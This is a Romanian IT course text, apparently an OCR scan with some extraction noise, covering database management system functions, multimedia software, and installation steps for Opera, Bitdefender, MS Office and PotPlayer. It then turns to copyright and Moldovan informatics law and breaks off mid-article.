Sistemele de gestiune a bazelor de date (in engleza: "database management system"), abreviat
SGBD, reprezintd totalitatea programelor utilizate pentru crearea, interogarea si intretinerea unei
baze de date. Include doua categorii de module: module care sunt comune cu cele ale sistemelor
de operare ale calculatoarelor si module cu functii specifice bazei de date. Subsistemele monitor
contin programele de control al perifericelor si sistemul de gestiune a fisierelor. Subsistemele
externe sunt alcatuite din procesorul de definitie si programul de administrare. Alaturi de acestea
exista programe de descriere a bazei de date si cereri de prelucrare. Intre utilizator si sistem
existd doud interfete: definirea bazei de date si utilizarea bazei de date. Definirea unei baze de
date se executa sub controlul procesorului de definitie (PD), capabil sa prelucreze programe de
descriere, formulate folosind limbaje specializate cunoscute sub denumirea de limbaje de
definitie a datelor (LDD).
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Functiile sistemelor de gestiune a bazelor de date

1. Stocarea, regdsirea si reactualizarea datelor.
Este functia fundamentala a unui sistem de gestiune a bazelor de date. Sistemul trebuie sa
ascunda fata de utilizatori detaliile privind implementarea fizica interna.

2. Asigurarea unui catalog accesibil utilizatorului
Catalogul sistemului contine date despre scheme, utilizatori, aplicatii. Acesta trebuie sa
stocheze:
- denumirile, tipurile si dimensiunile articolelor de date;
- denumirile relatiilor;
- constrangerile de integritate asupra datelor;
- numele utilizatorilor autorizati care au acces la date;
- schemele externe, conceptuale, interne precum si transpunerile lor;
- statistica utilizarii (de exemplu: frecventa tranzactiilor, contorizarea numarului de

accesari ale obiectelor din baza de date).

Utilizarea unui astfel de catalog de sistem asigura o serie de avantaje care sunt prezentate
in continuare:
- contribuie la controlul datelor ca resurse;
- se poate defini in sensul datelor;
- simplificd comunicarea;
- identifica utilizatorii;
- identifica cu usurinta redundanta si incoerenta;
- inregistreaza modificarile din baza de date;
- impactul unei modificari poate fi determinat inainte de implementare;
- Imbunatateste securitatea;
- imbunatateste integritatea;
- monitorizeaza operatiile efectuate asupra bazei de date.

3. Asigurarea tranzactiilor
Tranzactia reprezintd un set de actiuni prin care se acceseazd sau se modificd
continuturile bazei de date. Daca tranzactia esueaza (nu s-au efectuat toate modificarile,
sau modificarile nu s-au efectuat in toate cazurile) baza de date devine incoerenta si, ca
urmare, trebuie avut in vedere un mecanism care sa anuleze toate modificarile efectuate
in cadrul tranzactiei si sa aduca baza de date in ultima stare coerenta anterioara inceperii
tranzactiei.

4. Asigurarea serviciilor de control concurente
Sistemul de gestiune al bazei de date trebuie sa garanteze ca nu vor avea loc interferente
atunci cand mai multi utilizatori acceseaza baza de date.

5. Asigurarea serviciilor de reconstituire
In cazul in care in timpul functiondrii sistemului au avut loc defectiuni de naturi
hardware sau software, acesta trebuie readus intr-o stare coerenta.

6. Asigurarea serviciilor de autorizare
In cazul in care in timpul functionarii utilizatorii incearca intentionat sau accidental si
acceseze date pe care nu au dreptul sa le prelucreze, sistemul de gestiune al bazei de date
trebuie sa intervina.

7. Asigurarea unui suport pentru comunicarea datelor
Utilizatorii trebuie sd poatd accesa o baza de date centralizatd de la locatii aflate la
distanta.

8. Asigurarea serviciilor de integritate
Integritatea bazei de date se referd la corectitudinea si coerenta datelor stocate si se
exprimad sub forma unor constrangeri care reprezinta regulile de coerentd pe care baza de
date nu are voie sa le incalce.

9. Asigurarea serviciilor pentru promovarea independentei de date
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Independenta de date este obtinutd printr-un mecanism de vedere sau subschema.
Completa independenta logica de date este dificil de obtinut. De obicei se pot adauga
entitati, atribute, relatii, dar eliminarea lor nu este intotdeauna posibila.

10. Asigurarea de servicii utilitare

Serviciile utilitare ajutd la administrarea bazei de date. Cateva astfel de exemple sunt

urmatoarele:

- facilitati de import;

- facilitati de monitorizare, pentru urmarirea utilizarii;

- programe de analiza statistica;

- facilitati de reorganizare a indecsilor;

- compactarea si realocarea spatiului eliberat prin indepartarea unor inregistrari din
dispozitivele de stocare.

12.3 Programe multimedia. Pachetul Adobe.

Programe de editat poze / modificat fotografii

X/
L X4

GIMP - Initial, GIMP a fost creat ca aplicatie pentru platforma Unix/Linux si la vremea cand
ma jucam si eu in Linux I-am incercat cu succes, mai ales ca pe atunci era singurul disponibil
pentru acea platforma. GIMP a evoluat si el si imita destul de bine grafica Photoshop pe care
a incercat sa-l copieze. A reusit sa copieze chiar si modul de lucru si uneltele din Photoshop,
ba chiar proiectele pot fi salvate in varianta Photoshop ca sa poata fi deschise cu softul
Adobe. E un avantaj urias daca vrei sa-1 ai ca program de prelucrare a pozelor acasa, in
tandem cu Photoshop-ul de la birou. Merge si pe MAC OS!

Paint.net - Este o alta clona Photoshop care iti permite lucrul cu layere, iar Paint.net pot
spune ca are o grafica si mai reusita decat Gimp. Poti modifica atributele pozei precum
luminozitatea, contrastul, nivelurile de culori in mod automat sau manual. Ai la dispozitie si
o0 droaie de efecte si este extrem de simplu de folosit. Toate uneltele sunt dispuse ca la
Photoshop asa ca pentru trecerea de la unul la altul nu ai nevoie de mult timp de adaptare. A
fost hiperpremiat prin 2007 cand si-a facut debutul, dar acum baietii s-au cam lasat pe
tanjeala cu update-urile. Merge doar in Windows.

IrfanView - Printre cele mai populare programe de editat poze se numara si IrfanView. Chiar
daca a plecat de la ideea unui simplu program de vizualizare a fotografiilor, IrfanView poate
fi folosit si pentru editarea sumara a pozelor. Pe langa operatiunile banale de redimensionare
sau rotire a pozelor, aplicatia iti permite sa modifici luminozitatea, contrastul sau culorilor. In
plus, poti adauga diverse efecte si watermark-uri, la care se adauga si eliminarea efectului de
ochi-rosii. Pentru functiile mai avansate poti aplica la diverse plug-in-uri. Nu este nici pe
departe un inlocuitor pentru Photoshop, dar se poate dovedi util pentru utilizatorii ocazionali,
mai ales ca ocupa doar cativa MB pe hard-disk.

Programe de editat vide / modificat video

X/
°

Final Cut Pro - Final Cut Pro este un soft de editare video foarte avansat. Chiar daca cu
lansarea noului Final Cut Pro X, cei de la Apple nu au incantat, softul ramane printre cele
mai bine vandute programe de editare. Este un soft foarte bun. Il recomand tuturor celor care
vor sa ia o decizie drastica in avansarea lor. Te va ajuta acest soft in montajul unei nunti? Te
va ajuta. Dar nu este singurul soft popular din domeniul montajului de nunta.

Sony Vegas Pro - Sony Vegas Pro este programul de editare pe care eu il prefer. Am apreciat
ca cei de la Sony au avut grija ca la fiecare update sa aduca beneficii majore. Este un
program de editare relativ simplu. Eu il prefer pentru ca stie foarte bine sa foloseasca
resursele unei statii grafice. Il recomand tuturor celor care pun accent pe creatie si nu pe
preseturi de culoare si tranzitii.
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Adobe Premiere Pro - Adobe Premiere Pro Este un program de editare foarte popular printre
videografi de nunta din ro. Multi il prefera. Eu personal nu il folosesc. Are un design mult
mai facil decat sony vegas, dar ergonomia timpului, in viziunea mea lasa mult de dorit. In
unele actiuni este foarte greoi. Chiar daca stie sa foloseasca resursele unei statii grafice, nu il
poti compara cu sony vegas.

Sigur, orice program de editare are avantaje si dezavantaje. Marele avantaj al acestui program

de editare este ca face parte din gama adobe. Toate programele din gama se inteleg foarte bine
intre ele prin modul de import, export. Reamintim Ae si En care sunt foarte utile. Programe sunt
multe. Nu cred ca are importanta cate sunt.

Programe de editat vide / modificat video

X/
°

X/
L X4

X/
L X4

Power MP3 Cutter Joiner - Cu Power MP3 Cutter Joiner puteti taia sau puteti lipi fisiere n
format MP3, WAV, WMA si OGG. Puteti stabili un timp de pornire si unul de final pentru a
efectua o tdietura sau puteti deschide diverse fisiere si le puteti uni, intr-unul singur.
Audacity - Audacity este un program gratuit, open-source, pentru inregistrarea si
administrarea fisierelor audio. Oferd suport pentru majoritatea formatelor audio si va permite
sd mixati, sa taiati si sa filtrati materialele audio, pentru a le optimiza si a va crea propriile
piese.

AVS Audio Tools - Cu programul AVS Audio Tools puteti converti un fisier audio, intre
formate foarte diverse; puteti edita fisierul audio, puteti aplica efecte si filtre, aveti
posibilitatea sd mixati mai multe piese, sd eliminati zgomote, sa inregistrati fisiere audio
indiferent de sursa si s inscriptionati discuri audio.

Adobe Systems este, ca marime, cea de-a doua companie din lume in domeniul de software.
Cuvantul englez adobe, inseamnd cardmida de chirpici.

Creative Suite 6

Principalele produse software ale firmei Adobe sunt reunite intr-un pachet de programe denumit
Creative Suite. In 2012 s-a ajuns la versiunea a sasea a pachetului, Creative Suite 6.

Master Collection:

X/
L X4

7
°e

X/
L X4
7

°e

X/
L X4

7
°e

X/
L X4

X/
°
X/
°
X/
°

X/
°

Adobe Photoshop CS6 Extended + Adobe Fireworks® CS6
Adobe Illustrator CS6 +»+» Adobe Premiere Pro CS6
Adobe InDesign CS6 « Adobe After Effects CS6
Adobe Acrobat® X Pro % Adobe Audition® CS6
Adobe Flash® Professional CS6 ¢ Adobe SpeedGrade™ CS6
Adobe Flash Builder® 4.6 Premium +» Adobe Prelude CS6
Adobe Dreamweaver CS6 +» Adobe Encore® CS6

Additional components: m m m.

Adobe Bridge CS6

Mocha for After Effects CS6* - m m m

Adobe Dynamic Link

Adobe Media Encoder CS6 m m
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13. Administrarea aplicatilor frecvent utilizate. Pachete de

programe frecvent utilizate.

Obiective:

1. Specificarea pachetelor de programe frecvent utilizate;

2. Tnsugirea procedurilor de instalare, dezinstalare, administrare, actualizare si configurare a
aplicatiilor frecvent utilizate;

12.1 Instalare programe frecvent utilizate pe un PC.

Instalare browser Opera

« Pasul 1: Deschide pagina oficiala de descarcare a browser-ului Opera aflata la adresa
http://www.opera.com/browser/download/ si apasa mai intai pe link-ul "More options ";

¢ Pasul 2: Selecteaza optiunea "International” si apasa pe butonul "Download Opera™;

« Pasul 3: In fereastra de descarcare aparuta alege optiunea "Run" pentru a porni imediat
instalarea browser-ului Opera;

s Pasul 4: Asteapta descarcarea programului de instalare a browser-ului Opera pe
calculatorul tau:

« Pasul 5: Apoi asteapta scanarea programului de instalare a browser-ului Opera abia

descarcat pe calculatorul tau (dureaza cateva secunde);

Pasul 6: Urmeaza operatiunea de extragere a componentelor programului de instalare a
browser-ului Opera pe calculatorul tau;

Pasul 7: In fereastra initiala de instalare a browser-ului Opera apasa butonul "Options";
Pasul 8: Vei vedea sectiunea de modificare a parametrilor browser-ului Opera in care ai
optiunea de instalare in limba romana;

s Pasul 9: Apasa pe lista derulanta Language - Limba si selecteaza "Romana"” pentru a
continua instalarea browser-ului Opera in limba romana, apoi verifica daca esti de acord
cu "conditiile serviciului Opera". Daca totul este in regula apasa pe butonul "Accepta si
instaleaza";

s Pasul 10: Pe calculatoarele cu Windows Vista sau Windows 7 apare fereastra de
verificare "User Account Control". Verifica numele programului care trebuie sa fie
"Opera web browser" si al producatorului, care trebuie sa fie "Opera Software ASA";
daca totul este in regula apasa butonul "Yes" pentru contiunarea instalarii browser-ului
Opera pe calculatorul tau;

s Pasul 11: Asteapta terminarea operatiunii de instalare a browser-ului Opera pe
calculatorul tau (dureaza cateva secunde);

% Pasul 12: Dupa instalare browser-ul Opera in limba romana va porni imediat, afisand
pagina de start;

De acum incolo poti folosi browser-ului Opera in limba romana pe calculatorul tau. Printre cele
mai interesante facilitati ale browser-ului Opera se numara "Opera Turbo" pentru accelerarea
afisarii paginilor web, previzualizarea paginilor web doar prin trecerea cu cursorul mouse-ului
prin fata tab-urilor superioare si desigur posibilitatea de a descarca teme si aplicatii specifice
pentru browser-ul Opera. Mai multe detalii despre facilitatile browser-ului Opera instalat pe
calculatorul tau gasesti la http://www.opera.com/browser/features/.

X/
o

X/
°

X3

*¢

Instalare antivirus - Bitdefender 2016
1. Dezinstalati de pe computer toate celelalte programe de securitate instalate.
a) Rulati instrumentul de dezinstalare Bitdefender pentru a elimina orice fisiere anterioare
legate de Bitdefender: http://www.bitdefender.com/uninstall
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b) Indepartati orice alt software de securitate pe care l-ati instalat pe sistem, utilizand pasii
de dezinstalare oferiti de producator. Acum reporniti sistemul si continuati cu instalarea
Bitdefender 2016.

2. Instalati Bitdefender 2016 pe sistemul dumneavoastra.

a) Accesati contul dumneavoastra Bitdefender Central. Daca nu aveti un cont deja, va
rugam sa va inscrieti pentru unul.

b) Selectati panoul Dispozitivele mele.

c) In fereastra Dispozitivele mele, faceti click pe Instalare Bitdefender.

d) Alegeti Windows, apoi alegeti una dintre cele doua optiuni disponibile:
> Vreti sa instalati Bitdefender pe acest dispozitiv.

Selectati Bitdefender Total Security 2016 apoi faceti clic pe Descarcare pentru a
continua.

» Vreti sa instalati Bitdefender pe un alt dispozitiv.

Selectati Bitdefender Total Security 2016 si introduceti o adresa de e-mail in campul
corespunzator, apoi faceti click pe TRIMITE.

Bitdefender CENTRAL Marius Abrudan n £

MY DEVICES

VM-Win10 i HTC One mini 2
- . =
0 Work-Computer

e) Asteptati finalizarea descarcarii, apoi executati programul de instalare (click dreapta pe
fisierul pe care l-ati salvat si selectati Run as administrator) Procesul de instalare de
Bitdefender 2016 va incepe pe computer.

Acum, trebuie doar sa urmati instructiunile de pe ecran pentru a finaliza instalarea.

Bitdefender INSTALLATION

“consistent and unbeaten”

Custom Cancel
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12.2 Instalare MS Office

Instalarea Office 2007

Puteti instala Office 2007 de pe un CD sau descarcandu-l. Dupa ce il instalati, trebuie sa-I

activati in termen de 30 de zile.

1. Introduceti CD-ul Office 2007 in unitate. Dacd expertul de instalare nu porneste automat,
navigati la unitatea de CD si faceti clic pe SETUP.EXE.

2. Cand vi se solicita, introduceti cheia de produs.

Introduceti cheia produs

Puteti gasi cheia de produs pe eticheta in cazul CD-uri sau alte ambalaj. Daca aveti nevoie de
ajutor, consultati gasiti cheia de produs pentru Office 2007 sau cautati un mesaj de eroare.

----------------------------

3. Cititi si acceptati Termenii licentei pentru software Microsoft, apoi faceti clic pe Continuare.

- | Cititi Termenii licentei pentru software
,,é Microsoft

[ Accept termenii acestui acord Continuare

4. Urmati instructiunile si, dupa ce se instaleaza Office, faceti clic pe Inchidere.

Cla
o

+ Comttare o Office Cnine

inchidere
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Activarea Office 2007
Va trebui sa activati Office pentru a mentine programele Office complet functionale.
1. Pentru a activa din Excel, Word, PowerPoint si Access:

- Faceti clic pe butonul Microsoft Office > Optiuni > Activare Microsoft Office.
2. Pentru a activa din orice alt produs Office:

- Faceti clic pe Ajutor > Activare produs.
Pentru ajutor la activarea Office 2007, contactati asistenta.

Link-uri pentru instalarea altor versiuni de MS Office
Instalare MS Office 2010
» https://support.office.com/ro-ro/article/Instalarea-Office-2010-1b8f3c9b-bdd2-4a4f-8c88-
aa756546529d?ui=ro-RO&rs=ro-RO&ad=RO&ocmsassetID=1b8f3c9b-bdd2-4a4f-8c88-
aa756546529d
Instalare MS Office 2013
» https://support.office.com/ro-ro/article/Descarcati-si-instalati-sau-sa-reinstalati-Office-
2013-pe-un-PC-sau-Office-pentru-Mac-2011-7c695b06-6d1a-4917-809c-
98ce43f86479?ui=ro-RO&rs=ro-RO&ad=RO
Instalare MS Office 2016
» https://support.office.com/ro-ro/article/Descarcati-si-instalati-sau-reinstalati-Office-365-
sau-Office-2016-pe-PC-sau-pe-Mac-4414eaaf-0478-48be-9c42-23adc4 716658?ui=ro-
RO&rs=ro-RO&ad=RO

12.3 Instalare programe multimedia.

Instalare PotPlayer

« Pasul 1. Acceseaza pagina de download PotPlayer — player multimedia, la adresa
http://www.videohelp.com/tools/PotPlayer si apasa link-ul de descarcare Download from
our site (direct link);

«+ Pasul 2. Vei observa aparitia managerului de descarcare in partea inferioara a paginii.
Apasa butonul Run pentru a descarca si rula automat procesul de instalare al programului
gratuit PotPlayer in calculatorul tau;

<+ Pasul 3. Pentru a continua procesul de instalare al programului gratuit PotPlayer, apasa
butonul Next;

% Pasul 4. PotPlayer va alege in mod automat elementele potrivite si necesare. Avanseaza
catre urmatorul pas printr-un simplu click pe butonul Next;

< Pasul 5. In functie de preferinte si nevoi, prin actionarea butonului Browse poti alege o
alta destinatie de instalare a programului gratuit PotPlayer in calculatorul tau (aceasta
actiune nu este obligatorie; recomandam mentinerea setarii predefinite). Continua catre
instalarea propriu-zisa a programului, apasand butonul Install;

¢ Pasul 6. Selecteaza din meniul de tip cascada tipul sistemului audio pe care-l utilizezi,
apoi actioneaza butonul OKk;

s Pasul 7. In acest moment, player-ul multimedia gratuit PotPlayer este instalat in
calculatorul tau si valabil spre utilizare. Apasa butonul Next pentru a continua;

¢+ Pasul 8. Actioneaza butonul Finish pentru a inchide fereastra procesului de instalare;

+«» Pasul 9. PotPlayer poate fi accesat cu multa usurinta si rapiditate direct prin intermediul
scurtaturii PotPlayer, creata in mod automat pe desktop-ul calculatorului tau cu sistem de
operare Windows;

Nota: Aplicatiile multimedia utilizate pe PC presupun urmatoarele proceduri de instalare:

- Alegerea limbii de lucru a aplicatiei; - Finalizarea instalarii;

- Acceptarea termenilor de licenta;

- Includerea codului de licenta;

- Alegerea conditiilor de lucru;
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14. Respectarea cadrului normativ-juridic referitor la protejarea

proprietatii intelectuale in domeniul informaticii.

Obiective:

1. Studierea bazelor dreptului informatic;

2. Analizarea legislatiei nationale si referitoare la dreptul de autor, marca, licenta, denumire de
origine;

3. Stabilirea tipurilor de licente.

14.1 Dreptul informatic

Drepturile de autor sau copyright reprezinta ansamblul prerogativelor de care se bucura
autorii cu referire la operele create; institutia dreptului de autor este instrumentul de protectie a
creatorilor si operelor lor.

Operele literare si artistice sunt protejate de ,,Conventia de la Berna pentru protectia Operelor
Literare si Artistice”, care dateaza din 1886, fiind revizuitd in 1971.

Dupa Conventia de la Berna nu mai este necesara indicarea faptului ca o opera este protejata
de drepturile de autor atat timp cat ,,proprietatea intelectuala a unei opere literare, artistice sau
stiintifice corespunde autorului pentru simplul fapt ca el a creat-o0” si ,,sunt considerate obiecte
ale proprietatii intelectuale toate creatiile originale literare, artistice si stiintifice exprimate prin
orice mediu si pe orice suport, tangibile sau intangibile, cunoscute acum sau care se vor inventa
in viitor”.

In lumea digitala se aplica aceleasi legi ale propriettii intelectuale si drepturilor de autor ca si
pentru toate celelalte creatii originale.

In martie 2002 a intrat in vigoare Tratatul OMPI pentru Dreptul de Autor (WCT) si in mai
Tratatul OMPI pentru Interpretare si Fonograme (WPPT).

Ambele ,Tratate ale Internetului” (cum sunt cunoscute) au fost realizate in 1996 de
Organizatia Mondiald a Proprietatii Intelectuale. Astfel este actualizata si completata Conventia
de la Berna si se introduc elementele societitii digitale. Intr-o perioada de 6 ani (1996 - 2002), se
realizeaza ratificarea acestor noi tratate de 30 de tari, minimul cerut de Organizatia Natiunilor
Unite, pentru punerea sa in aplicare.

12.2 Legislatia nationala referitoare la dreptul de autor

DISPOZITII GENERALE

Art.l. - Prezenta lege stabileste principalele reguli si conditii de activitate in domeniul

informaticii In Republica Moldova, drepturile si obligatiile statului, ale persoanelor juridice si

fizice 1n procesul crearii, administrarii, utilizarii si Intretinerii sistemelor informatice, principiile
si masurile de asigurare a libertatii si protectiei datelor in sistemele informatice, dreptului de
acces la serviciile informatice.

Art.2. - in sensul prezentei legi, se definesc urmatoarele notiuni:

a) acces neautorizat - acces la informatii efectuat cu incalcarea regimului de lucru;

b) banca de date - totalitatea bazelor de date si produselor program pentru dirijarea lor;

€) baza de date - colectie de date, organizatd conform unei structuri conceptuale, care descrie
caracteristicile acestor date si relatiile dintre entitatile lor componente, destinata unuia sau
mai multor domenii de aplicatie;

d) date - fapte, notiuni, fenomene, evenimente, insusiri, indici, instructiuni etc., reprezentate sub
o formd conventionald, adecvatd comunicarii, interpretarii sau prelucrarii manuale ori cu
mijloace automate;

e) date publice - date la care accesul public este nelimitat;
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f)
9)
h)
i)
)
K)

2)

date cu caracter personal - date care permit sub orice forma, direct sau indirect, identificarea
persoanei fizice la care se refera aceste date;

date nominative - date al caror ansamblu poate duce la identificarea unei persoane, fara a fi
totusi recunoscutd, fiecare in parte, ca identificator;

document electronic - produs informatic prin care se adevereste sau se preconizeaza un fapt,
se confirma un drept, se recunoaste o obligatie, se identificd o persoana juridica sau fizica
etc.,

echipamente (hardware) - mijloace tehnice destinate sistemelor de calculatoare;

informatica - domeniu de activitate care include prelucrarea si transportul datelor cu ajutorul
sistemelor automatizate de calcul si mijloacelor de telecomunicatie;

informatizare - ansamblu organizat de actiuni destinate crearii, implementarii, intretinerii si
perfectionarii sistemelor automatizate de calcul si transport de date in procesul de colectare,
stocare, prelucrare si difuzare a informatiei;

flux al datelor - transport de date intre constante sau fisiere, efectuat ca urmare a executieli
unor instructiuni, proceduri, module de program sau programe;

operator informatic - persoana juridica capabila sa presteze o gama largd de servicii
informatice, n conditii de calitate si securitate, la nivelul cerintelor internationale;

produs informatic - ansamblu de date si programe obtinute in urma rularii unor programe sau
pachete de programe;

produse program (software) - totalitate sau o parte a programelor, procedurilor, regulilor si
documentelor asociate ale unui sistem de prelucrare a informatiei;

program (program pe calculator) - secventa de declaratii si instructiuni ale unui limbaj de
programare, lansatd Intr-un mediu operational al calculatorului, pentru 1indeplinirea
anumitelor functii ori solutionarea unor probleme;

protectia datelor - totalitatea procedurilor organizational-tehnice si actelor normative utilizate
pentru a se evita cauzarea oricaror pagube intereselor proprietarilor de date, sistemelor
informatice, precum si utilizatorilor de informatii;

resursd informationald - orice element al unui sistem informational, necesar pentru
executarea operatiilor solicitate;

retea informatica (retea de calculatoare) - ansamblu de noduri de prelucrare a datelor
interconectate in scopul transportului de date;

retea publica de transport de date - retea informatica ce se utilizeaza in domeniul public;
securitatea datelor - atribut al datelor ce caracterizeaza siguranta lor fatd de evenimente ce le-
ar putea afecta integralitatea;

serviciu informatic - serviciu oferit pe piatd privind intretinerea produselor program,
echipamentelor si sistemelor informatice;

serviciu informatic public - serviciu informatic prestat prin intermediul retelei publice de
transport de date;

sistem informatic - ansamblu de programe si echipamente care asigura prelucrarea automata
a datelor;

sistem informational - sistem de prelucrare a informatiei, impreunda cu resursele
organizationale asociate, cum ar fi resursele umane si tehnice, care furnizeaza si distribuie
informatia;

tehnologiile informatiei - tehnologii specifice informaticii, precum si acelei parti a
comunicatiei aferente traficului informatic in retelele informatice;

aa) trafic informatic - circulatie a datelor si programelor intre doi sau mai multi utilizatori.

Art.3. - (1) Accesul oricdrei persoane juridice si fizice la serviciile informatice publice si la
informatiile ce se contin In sistemele informatice este asigurat in conformitate cu prevederile
respective ale Constitutiei, prezentei legi si altor acte legislative.

(2) Sistemele si retelele informatice, precum si resursele informationale pot apartine persoanelor
juridice si fizice cu titlu de proprietate privata sau publica.
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Art4. - (1) Protectia datelor in cadrul sistemelor si retelelor informatice este asiguratd in
conformitate cu prevederile respective ale Constitutiei, prezentei legi, altor acte normative.

(2) Persoanele care activeaza in cadrul sistemelor si retelelor informatice sint obligate sa asigure
protectia datelor.

(3) Se interzice accesul si conectarea neautorizate la sistemele si retelele informatice.

(4) Utilizarea mijloacelor informatice in conditii nediscriminatorii este garantatd pe intreg
teritoriul tarii.

Art5. - (1) Autoritatea desemnata pentru realizarea politicii Guvernului si elaborarea strategiei
de dezvoltare a domeniului informaticii este Ministerul Dezvoltarii Informationale.

strategiei de dezvoltare a domeniului informaticii este Agentia Nationala pentru Reglementare in
Telecomunicatii si Informatica.

Art.6. - (1) Relatiile din domeniul informaticii, nespecificate in prezenta lege, se reglementeaza
de alte acte normative.

(2) Pentru Republica Moldova, relatiile internationale 1n domeniul informaticii se reglementeaza
prin conventii si acorduri internationale la care aceasta este parte. In cazul in care conventiile si
acordurile internationale contin alte norme decit cele prevazute de legislatia Republicii Moldova
cu privire la informatica, se aplica prevederile conventiilor si acordurilor internationale.

ADMINISTRATIA PUBLICA IN DOMENIUL INFORMATICII

Art.7. - Statul sustine informatizarea societatii ca obiectiv strategic de prim ordin in conditiile

prevederilor Constitutiei, prezentei legi, altor acte legislative si ale principiilor general

recunoscute, inclusiv prin actele internationale la care Republica Moldova este parte.

Art.8. - (1) Administratia publica centrald in domeniul informaticii este exercitata de Ministerul

Dezvoltarii Informationale, care reprezintd Guvernul in organismele internationale, coordoneaza

activitatea internationald in domeniu, desfasuratd de persoanele juridice si fizice din Republica

Moldova.

(2) Ministerul Dezvoltarii Informationale are urmatoarele atributii:

a) elaboreaza strategia de dezvoltare a domeniului informaticii, organizeaza dezbateri pe
marginea ei $i o prezintd Guvernului spre aprobare;

b) studiaza tendintele mondiale in domeniu si actualizeaza strategia nationala de dezvoltare a
domeniului informaticii;

€) coordoneaza actiunile de realizare a strategiei de dezvoltare si prezintd anual Guvernului
raport asupra stadiului de realizare a strategiei;

d) asigura dezvoltarea coerentd a sistemelor informationale ale administratiei publice in
conformitate cu strategia de dezvoltare a domeniului informaticii;

e) coordoneaza realizarea sistemelor informatice prin proiecte nationale, prevazute in strategia
de dezvoltare;

f) stimuleaza, prin politici adecvate, dezvoltarea sectorului privat in domeniul tehnologiilor
informatiei, factor de competitivitate in domeniul informaticii;

g) initiaza si avizeaza elaborarea de standarde nationale in corespundere cu standardele
internationale in domeniul tehnologiilor informatiei, creeazd conditii pentru implementarea
lor in sistemele informationale ale administratiei publice;

h) avizeaza, din punct de vedere al incadrarii in strategia de dezvoltare a domeniului
informaticii, proiectele directoare de informatizare si caietele de sarcini, conforme acestora,
pentru achizitiile de produse si servicii din domeniul tehnologiilor informatiei destinate
administratiei publice si desemneaza, dupa caz, reprezentantii sai in cadrul comisiilor de
evaluare a licitatiilor;

i) coordoneaza crearea retelelor publice de transport de date, cu respectarea normelor
recomandate de Comunitatea Europeana;

J) atribuie si gestioneaza spatiul de adresare in cadrul retelelor informatice globale, care
opereaza pe teritoriul Republicii Moldova;
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K) urmareste corelarea programelor nationale de cercetari stiintifice fundamentale si aplicate si
de dezvoltare tehnologicd in domeniul tehnologiilor informatiei, finantate din fonduri
bugetare si extrabugetare ori din fonduri ale programelor internationale, cu realizarea
strategiei de informatizare a societatii;

I) desfasoara si sustine activitati de cooperare in domeniul tehnologiilor informatiei pe plan
international prin participare la proiecte regionale, europene si mondiale;

m) colaboreaza cu autoritatile administratiei publice centrale in domeniul educatiei pentru
aducerea programelor de invatamint in domeniul informaticii in invatamintul preuniversitar
si universitar, precum si a programelor de instruire continud a specialistilor si utilizatorilor de
informatii la cerintele informatizarii societatii;

n) coordoneaza crearea sistemelor informatice ramurale de interes national;

0) elaboreaza si avizeaza proiecte de acte normative cu impact asupra informaticii;

p) controleazd modul de aplicare a reglementarilor si a normelor tehnice in domeniul
tehnologiilor informatiei;

q) efectueaza certificarea calitatii produselor si serviciilor informatice pentru domeniul public,
asigurind inspectia i controlul acestora.

Art.9. - (1) Agentia Nationala pentru Reglementare in Telecomunicatii si Informatica, denumita

in continuare Agentie, instituita in conformitate cu Legea nr.842-XIV din 25 februarie 2000

pentru modificarea si completarea Legii telecomunicatiilor, este autoritate a administratiei

publice cu statut de persoand juridicd, independentd de operatorii si de producatorii din
domeniul informaticii.

(2) Functiile, drepturile si obligatiile Agentiei, precum si principiile de administrare, bugetul

Agentiei, relatiile ei cu alte autoritati ale administratiei publice sint stabilite de legea mentionata

la alin.(1).

Art.10. - (1) Elaborarea, proiectarea, exploatarea si intretinerea tehnica a retelelor informatice si

prestarea serviciilor informatice publice se autorizeaza prin licente eliberate de Agentie

persoanelor juridice din Republica Moldova. In corespundere cu contractele incheiate cu clienti,
titularul de licenta este obligat sa asigure:

a) accesul neconditionat al utilizatorilor la serviciile informatice publice daca acestia se afla in

zona de activitate a titularului de licenta;

b) calitatea serviciilor prestate;

¢) interconectarea la alte retele informatice publice conform conditiilor stabilite in licenta.

(2) Elaborarea si crearea produselor program, echipamentelor corespunzatoare destinate pentru

export se autorizeaza prin licente eliberate de Agentie persoanelor juridice din Republica

Moldova.

Art.1l. - (1) Produsele program si echipamentele pentru retelele informatice publice sint

importate, furnizate i comercializate in baza certificatului de conformitate, eliberat de

organismul abilitat pentru certificarea produselor in domeniul telecomunicatiilor si informaticii.

(2) Se interzice utilizarea produselor program necertificate pentru prestarea serviciilor

informatice publice.

(3) Se interzice utilizarea echipamentelor necertificate si nemarcate, precum si conectarea lor la

retelele informatice publice.

Art.12. - (1) Finantarea implementarii strategiei de dezvoltare a domeniului informaticii este

efectuata din fondul extrabugetar de informatizare, creat conform art.9 alin.(1) lit.0) din Legea

nr.842-XIV din 25 februarie 2000 pentru modificarea si completarea Legii telecomunicatiilor.

(2) Din mijloacele fondului se finanteaza lucrarile de dezvoltare si mentinere a infrastructurii

informatizarii si de asigurare a accesului institutiilor publice la retelele informatice globale.

(3) Fondul extrabugetar de informatizare este gestionat de Agentie.

(4) Agentia atrage la fondul extrabugetar de informatizare fonduri rezultate din cooperarile

internationale, precum si fonduri autohtone, inclusiv private.
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ACCESUL LA INFORMATIE SI SERVICIILE INFORMATICE
Art13. - (1) Circulatia datelor pe teritoriul Republicii Moldova este libera pentru toti
participantii la traficul informatic.
(2) Fluxurile transfrontaliere ale datelor supuse unei prelucrari automatizate sau ale celor
colectate Tn vederea unei asemenea prelucrdri sint permise in masura in care nu lezeaza
drepturile personale, libertatile si 1indatoririle cetatenesti, nu afecteaza secretul si
confidentialitatea informatiei, cerute de apararea ordinii de drept in stat si societate.
Art.14. - (1) Persoanele care creeaza si furnizeazd produse informatice sau care prestcaza
servicii informatice sint obligate:
a) sa asigure si sa garanteze utilizatorilor de produse si servicii ca acestea nu sint de natura sa
afecteze drepturile omului;
b) sd prevada, in produsul sau in serviciul prestat, modalitatile de aparare a drepturilor
utilizatorului, a libertatilor individuale;
C) sa repare, total sau partial, dupa caz, prejudiciul adus persoanelor  prin nerespectarea
cerintelor prevazute la lit.a) si b).
(2) Pentru nerespectarea prevederilor indicate la alin.(1) lit.a) si b), titularii de date si de retele
informatice poartd raspundere conform legislatiei.
Art.15. - (1) Sint considerate informatii de categorie speciala si nu pot face obiectul detinerii si
prelucrarii in baze de date datele cu caracter personal privind originea rasiald sau etnica, opiniile
politice, convingerile religioase sau alte convingeri, datele referitoare la sdnatate sau viata
sexuald a persoanei, precum si cele referitoare la antecedentele penale. Astfel de date pot fi
prelucrate si detinute de organe special constituite si autorizate pentru aceasta si care sint
